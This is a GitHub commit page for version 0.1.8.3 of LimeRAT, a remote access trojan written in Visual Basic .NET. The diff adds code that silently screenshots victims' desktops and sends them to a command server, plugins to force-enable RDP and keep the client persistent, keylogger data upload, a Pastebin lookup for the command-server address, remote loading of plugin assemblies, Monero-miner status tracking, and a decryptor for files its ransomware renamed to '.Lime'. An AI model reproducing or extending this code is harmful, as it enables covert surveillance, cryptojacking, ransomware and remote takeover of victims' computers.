Skip to content

Commit

Permalink
UPDATE v0.1.8.3
Browse files Browse the repository at this point in the history
-[Added] On Connect - Auto tasks
-[Added] Thumbnail - Capture all clients desktop
-[Added] Enable Windows RDP - Trying to enable RDP and force open port 3389
-[Added] Persistence - Check if client.exe is running or not
-[Updated] XMR - Auto kill old miner when new miner is sent
-[Updated] RDP - Keyboard input
-[Fixed] Small bugs
  • Loading branch information
Nyrotication committed Sep 13, 2018
1 parent ba74d2e commit 6afbcae
Show file tree
Hide file tree
Showing 72 changed files with 8,228 additions and 764 deletions.
Binary file modified .vs/LimeRAT/DesignTimeBuild/.dtbcache
Binary file not shown.
Binary file modified .vs/LimeRAT/v15/.suo
Binary file not shown.
Binary file modified .vs/LimeRAT/v15/Server/sqlite3/storage.ide
Binary file not shown.
Binary file modified .vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm
Binary file not shown.
Binary file modified .vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal
Binary file not shown.
14 changes: 14 additions & 0 deletions LimeRAT.sln
Original file line number Diff line number Diff line change
Expand Up @@ -43,6 +43,10 @@ Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "XMR", "Project\Plugins\XMR\
EndProject
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "DDOS", "Project\Plugins\DDOS\DDOS.vbproj", "{F56E4E1A-AB7A-4494-ACB9-8757164B0524}"
EndProject
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "WRDP", "Project\Plugins\WRDP\WRDP.vbproj", "{86FC4B74-3B12-4C72-AA6C-084BF98E5E9A}"
EndProject
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "PERS", "Project\Plugins\PERS\PERS.vbproj", "{116472CE-3924-40EA-90F9-50A1A00D0EC5}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Expand Down Expand Up @@ -125,6 +129,14 @@ Global
{F56E4E1A-AB7A-4494-ACB9-8757164B0524}.Debug|Any CPU.Build.0 = Debug|Any CPU
{F56E4E1A-AB7A-4494-ACB9-8757164B0524}.Release|Any CPU.ActiveCfg = Release|Any CPU
{F56E4E1A-AB7A-4494-ACB9-8757164B0524}.Release|Any CPU.Build.0 = Release|Any CPU
{86FC4B74-3B12-4C72-AA6C-084BF98E5E9A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{86FC4B74-3B12-4C72-AA6C-084BF98E5E9A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{86FC4B74-3B12-4C72-AA6C-084BF98E5E9A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{86FC4B74-3B12-4C72-AA6C-084BF98E5E9A}.Release|Any CPU.Build.0 = Release|Any CPU
{116472CE-3924-40EA-90F9-50A1A00D0EC5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{116472CE-3924-40EA-90F9-50A1A00D0EC5}.Debug|Any CPU.Build.0 = Debug|Any CPU
{116472CE-3924-40EA-90F9-50A1A00D0EC5}.Release|Any CPU.ActiveCfg = Release|Any CPU
{116472CE-3924-40EA-90F9-50A1A00D0EC5}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
Expand All @@ -147,6 +159,8 @@ Global
{CF8C386C-46B2-4F40-BCB1-774C01E72B1C} = {7D34A64F-BEA5-42D4-A3FB-D9972BB33BEC}
{6E25C93C-0985-4D6E-A4C3-89D10F4F4F5F} = {7D34A64F-BEA5-42D4-A3FB-D9972BB33BEC}
{F56E4E1A-AB7A-4494-ACB9-8757164B0524} = {7D34A64F-BEA5-42D4-A3FB-D9972BB33BEC}
{86FC4B74-3B12-4C72-AA6C-084BF98E5E9A} = {7D34A64F-BEA5-42D4-A3FB-D9972BB33BEC}
{116472CE-3924-40EA-90F9-50A1A00D0EC5} = {7D34A64F-BEA5-42D4-A3FB-D9972BB33BEC}
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {D2B7BDC0-251E-4521-91E5-76CD9CF13D23}
Expand Down
22 changes: 22 additions & 0 deletions Project/Client/C_Commands.vb
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,26 @@
Case "!P"
C_Socket._stop = True

Case "!CAP"
Try
Dim bounds As Drawing.Rectangle = Windows.Forms.Screen.PrimaryScreen.Bounds
Dim image As New Drawing.Bitmap(Windows.Forms.Screen.PrimaryScreen.Bounds.Width, bounds.Height, Drawing.Imaging.PixelFormat.Format16bppRgb555)
Dim _g As Drawing.Graphics = Drawing.Graphics.FromImage(image)
Dim blockRegionSize As New Drawing.Size(image.Width, image.Height)
_g.CopyFromScreen(0, 0, 0, 0, blockRegionSize, Drawing.CopyPixelOperation.SourceCopy)
Dim MM As New IO.MemoryStream
Dim THU As New Drawing.Bitmap(256, 156)
Dim G As Drawing.Graphics = Drawing.Graphics.FromImage(THU)
G.DrawImage(image, New Drawing.Rectangle(0, 0, 256, 156), New Drawing.Rectangle(0, 0, image.Width, image.Height), Drawing.GraphicsUnit.Pixel)
THU.Save(MM, System.Drawing.Imaging.ImageFormat.Jpeg)
C_Socket.Send("#CAP" & SPL & C_ID.Bot & SPL & Text.Encoding.Default.GetString(MM.ToArray))
MM.Dispose()
THU.Dispose()
G.Dispose()
image.Dispose()
Catch ex As Exception
End Try

Case "KL"
C_Socket.Send("KL" + SPL + C_ID.HWID + SPL + IO.File.ReadAllText(IO.Path.GetTempPath + "\" + IO.Path.GetFileNameWithoutExtension(Windows.Forms.Application.ExecutablePath) + ".tmp"))

Expand All @@ -43,6 +63,8 @@

Public Shared Sub Plugin(ByVal B() As Byte, Optional CMD As String = Nothing)
Try
C_Socket.Send("OK")

For Each Type_ As Type In AppDomain.CurrentDomain.Load(B).GetTypes
For Each GM In Type_.GetMethods
If GM.Name = "CN" Then
Expand Down
8 changes: 2 additions & 6 deletions Project/Client/C_ID.vb
Original file line number Diff line number Diff line change
Expand Up @@ -159,9 +159,6 @@

Public Shared Function XMR() As String
Try
If GTV("XMR") = Nothing Then
STV("XMR", "Idle")
End If

Dim p() As Diagnostics.Process
p = Diagnostics.Process.GetProcessesByName("Regasm")
Expand All @@ -172,15 +169,14 @@
Dim retObjectCollection As Management.ManagementObjectCollection = searcher.Get
For Each retObject As Management.ManagementObject In retObjectCollection
If retObject("CommandLine").ToString.Contains("--donate-level=") Then
STV("XMR", "Minning")
Return "Minning"
End If
Next
Catch ex As Exception
End Try
Else
STV("XMR", "Idle")
Return "Idle"
End If
Return GTV("XMR").ToString
Catch ex As Exception
End Try
End Function
Expand Down
6 changes: 3 additions & 3 deletions Project/Client/C_Main.vb
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
'##################################################################
'## N Y A N C A T ||| Updated on Sept/09/2018 ##
'## N Y A N C A T ||| Updated on Sept/14/2018 ##
'##################################################################
'## ##
'## ##
Expand Down Expand Up @@ -112,7 +112,7 @@ Namespace Lime

Dim OldRans As String = C_ID.Rans
Dim OldUSB As String = C_ID.USBSP
Dim OldXMR As String = C_ID.XMR
Dim OldXMR As String = "..."
Dim OldFLD As String = C_ID.Flood
C_Nosleep.No_Sleep()

Expand Down Expand Up @@ -144,7 +144,7 @@ Namespace Lime

Try
If OldXMR <> C_ID.XMR Then
OldXMR = GTV("XMR")
OldXMR = C_ID.XMR
C.Send("!X" & SPL & OldXMR)
End If
Catch ex As Exception
Expand Down
35 changes: 18 additions & 17 deletions Project/Client/C_Socket.vb
Original file line number Diff line number Diff line change
Expand Up @@ -70,22 +70,22 @@ e: ' clear things and ReConnect

Try
Dim WC As Net.WebClient = New Net.WebClient() 'Pastebin, split by ":" IP:PORT
Dim reply As String = WC.DownloadString(C_Encryption.AES_Decrypt(C_Settings.Pastebin))
C_Settings.HOST = reply.Split(":")(0)
C_Settings.PORT = reply.Split(":")(1)
WC.Dispose()
Dim Response As String = WC.DownloadString(C_Encryption.AES_Decrypt(C_Settings.Pastebin))
C_Settings.HOST = Response.Split(":")(0)
C_Settings.PORT = Response.Split(":")(1)
WC.Dispose()
Catch ex As Exception
End Try
#End If
C.Client.Connect(C_Settings.HOST, C_Settings.PORT)
CNT = True
'Send info to server
Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.2F", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.3", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, "...", SPL, " "))
Dim P As New Threading.Thread(AddressOf PING)
P.Start()
Catch ex As Exception
Threading.Thread.Sleep(R.Next(5000))
Threading.Thread.Sleep(R.Next(10000))
GoTo e
End Try
GoTo re
Expand All @@ -112,21 +112,22 @@ e: ' clear things and ReConnect
Public Shared _start As Boolean = False
Public Shared MS As Integer = 0
Public Shared Sub PING(sock As Integer)
re:

Try
If CNT = False Then MS = 0 : Exit Sub
If _start Then
MS += 1
If _stop Then
Send("!P" + SPL + MS.ToString)
MS = 0
_start = False
_stop = False
While CNT = True
If _start Then
MS += 1
If _stop Then
Send("!P" + SPL + MS.ToString)
MS = 0
_start = False
_stop = False
End If
End If
End If
Threading.Thread.Sleep(1)
End While
MS = 0 : Exit Sub
Catch : End Try
GoTo re
End Sub

End Class
Expand Down
5 changes: 3 additions & 2 deletions Project/Plugins/DECF/DECF.vbproj
Original file line number Diff line number Diff line change
Expand Up @@ -117,7 +117,6 @@
</None>
</ItemGroup>
<ItemGroup>
<Content Include="icon.ico" />
<None Include="Resources\Music.mp3" />
</ItemGroup>
<ItemGroup>
Expand All @@ -131,6 +130,8 @@
<EmbedInteropTypes>True</EmbedInteropTypes>
</COMReference>
</ItemGroup>
<ItemGroup />
<ItemGroup>
<Content Include="icon.ico" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
</Project>
34 changes: 21 additions & 13 deletions Project/Plugins/DECF/Form1.vb
Original file line number Diff line number Diff line change
Expand Up @@ -100,18 +100,20 @@ Public Class Form1

Public Sub File_Dec(ByVal file As String, ByVal key As String)
Try
Dim B2Dec As Byte() = IO.File.ReadAllBytes(file)
Dim KeyBytes As Byte() = System.Text.Encoding.UTF8.GetBytes(key)
KeyBytes = SHA256.Create().ComputeHash(KeyBytes)
Dim BytesDec As Byte() = AES_Dec(B2Dec, KeyBytes)
IO.File.WriteAllBytes(file, BytesDec)
Dim exten As String = System.IO.Path.GetExtension(file)
Dim result As String = file.Substring(0, file.Length - exten.Length)
IO.File.Move(file, result)
FileCount += 1
OK = True
txtFiles.AppendText("[" + FileCount.ToString + "] " + Path.GetFileName(file))
txtFiles.AppendText(Environment.NewLine)
If file.EndsWith(".Lime") Then
Dim B2Dec As Byte() = IO.File.ReadAllBytes(file)
Dim KeyBytes As Byte() = System.Text.Encoding.UTF8.GetBytes(key)
KeyBytes = SHA256.Create().ComputeHash(KeyBytes)
Dim BytesDec As Byte() = AES_Dec(B2Dec, KeyBytes)
IO.File.WriteAllBytes(file, BytesDec)
Dim exten As String = System.IO.Path.GetExtension(file)
Dim result As String = file.Substring(0, file.Length - exten.Length)
IO.File.Move(file, result)
FileCount += 1
OK = True
txtFiles.AppendText("[" + FileCount.ToString + "] " + Path.GetFileName(file))
txtFiles.AppendText(Environment.NewLine)
End If
Catch ex As Exception
txtFiles.AppendText("[Wrong Key]")
txtFiles.AppendText(Environment.NewLine)
Expand Down Expand Up @@ -182,8 +184,14 @@ Public Class Form1
Dim WithEvents Player As New WMPLib.WindowsMediaPlayer
Private Sub BackgroundWorker4_DoWork(sender As Object, e As DoWorkEventArgs) Handles BackgroundWorker4.DoWork
Try
Dim FN = IO.Path.GetTempPath + "\LimeRAT-MUSIC.MP3"
If IO.File.Exists(FN) Then GoTo 1
Dim WC As New Net.WebClient
Dim O = WC.DownloadString("https://pastebin.com/raw/34Gqdu7K")
Try : IO.File.WriteAllBytes(FN, Convert.FromBase64String(O)) : Catch : End Try
1:
Player.settings.setMode("Loop", True)
Player.URL = "https://content-na.drive.amazonaws.com/v2/download/presigned/5ujSnRHmaF6f3B0VjagP_7lcSdDX-5Z051xMafyGRMUeJxFPc?download=true"
Player.URL = FN
Catch ex As Exception
End Try
End Sub
Expand Down
Binary file modified Project/Plugins/DECF/icon.ico
Binary file not shown.
16 changes: 3 additions & 13 deletions Project/Plugins/DET/ID.vb
Original file line number Diff line number Diff line change
Expand Up @@ -241,7 +241,7 @@ Public Class ID

Return StrReverse(KEYSTRING)
Catch ex As Exception
Return "Error!"
Return "Error"
End Try

End Function
Expand All @@ -250,19 +250,9 @@ Public Class ID
Try
Dim v As New Text.StringBuilder
For Each Folder In IO.Directory.GetDirectories((IO.Path.GetPathRoot(Environment.GetLogicalDrives(Environment.SpecialFolder.Desktop)) + "Windows\Microsoft.NET\Framework\"))
v.Append(IO.Path.GetFileName(Folder) + " ")
Next
Dim str As String = v.ToString

Dim re As New Text.StringBuilder
Dim s As String() = Split(str, " ")
For i As Integer = 0 To s.Length
Try
re.Append(s(i).Remove(4) + " ")
Catch ex As Exception
End Try
v.Append(IO.Path.GetFileName(Folder).Substring(0, 4) + " ")
Next
Return re.ToString
Return v.ToString
Catch ex As Exception
Return "Error"
End Try
Expand Down
Binary file modified Project/Plugins/ENC/Resources/DECF.exe
Binary file not shown.
23 changes: 12 additions & 11 deletions Project/Plugins/PCL/My Project/Resources.Designer.vb

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

9 changes: 6 additions & 3 deletions Project/Plugins/PCL/My Project/Resources.resx
Original file line number Diff line number Diff line change
Expand Up @@ -46,7 +46,7 @@
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Serialization.Formatters.Binary.BinaryFormatter
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
Expand All @@ -60,6 +60,7 @@
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
Expand All @@ -68,9 +69,10 @@
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" />
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
Expand All @@ -85,9 +87,10 @@
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
Expand Down
3 changes: 3 additions & 0 deletions Project/Plugins/PCL/PCL.vbproj
Original file line number Diff line number Diff line change
Expand Up @@ -92,5 +92,8 @@
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
</None>
</ItemGroup>
<ItemGroup>
<Folder Include="Resources\" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
</Project>
Loading

0 comments on commit 6afbcae

Please sign in to comment.